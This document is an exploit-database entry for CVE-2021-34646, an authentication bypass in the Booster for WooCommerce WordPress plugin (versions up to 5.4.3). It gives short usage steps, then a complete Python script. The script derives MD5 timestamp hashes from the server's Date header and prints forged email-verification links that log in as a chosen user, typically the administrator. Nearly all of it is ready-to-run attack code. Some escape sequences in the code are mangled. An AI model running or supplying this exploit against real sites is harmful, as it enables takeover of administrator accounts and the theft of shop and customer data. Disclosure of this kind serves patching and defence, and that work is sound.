WordPress WooCommerce Booster plugin version 5.4.3 suffers from an authentication bypass vulnerability.
# Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass
# Date: 2021-09-16
# Exploit Author: Sebastian Kriesten (0xB455)
# Contact: https://twitter.com/0xB455
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# Affected Plugin: Booster for WooCommerce
# Plugin Slug: woocommerce-jetpack
# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/
# Affected Versions: <= 5.4.3
# Fully Patched Version: >= 5.4.4
# CVE: CVE-2021-34646
# CVSS Score: 9.8 (Critical)
# Category: webapps
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# 1:
# Goto: https://target.com/wp-json/wp/v2/users/
# Pick a user-ID (e.g. 1 - usualy is the admin)
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# 2:
# Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1
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# 3:
# Check-Out out which of the generated links allows you to access the system
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import requests,sys,hashlib
import argparse
import datetime
import email.utils
import calendar
import base64
B = " 33[94m"
W = " 33[97m"
R = " 33[91m"
RST = " 33[0;0m"
parser = argparse.ArgumentParser()
parser.add_argument("url", help="the base url")
parser.add_argument('id', type=int, help='the user id', default=1)
args = parser.parse_args()
id = str(args.id)
url = args.url
if args.url[-1] != "/": # URL needs trailing /
url = url + "/"
verify_url= url + "?wcj_user_id=" + id
r = requests.get(verify_url)
if r.status_code != 200:
print("status code != 200")
print(r.headers)
sys.exit(-1)
def email_time_to_timestamp(s):
tt = email.utils.parsedate_tz(s)
if tt is None: return None
return calendar.timegm(tt) - tt[9]
date = r.headers["Date"]
unix = email_time_to_timestamp(date)
def printBanner():
print(f"{W}Timestamp: {B}" + date)
print(f"{W}Timestamp (unix): {B}" + str(unix) + f"{W}n")
print("We need to generate multiple timestamps in order to avoid delay related timing errors")
print("One of the following links will log you in...n")
printBanner()
for i in range(3): # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors
hash = hashlib.md5(str(unix-i).encode()).hexdigest()
print(f"{W}#" + str(i) + f" link for hash {R}"+hash+f"{W}:")
token='{"id":"'+ id +'","code":"'+hash+'"}'
token = base64.b64encode(token.encode()).decode()
token = token.rstrip("=") # remove trailing =
link = url+"my-account/?wcj_verify_email="+token
print(link + f"n{RST}")
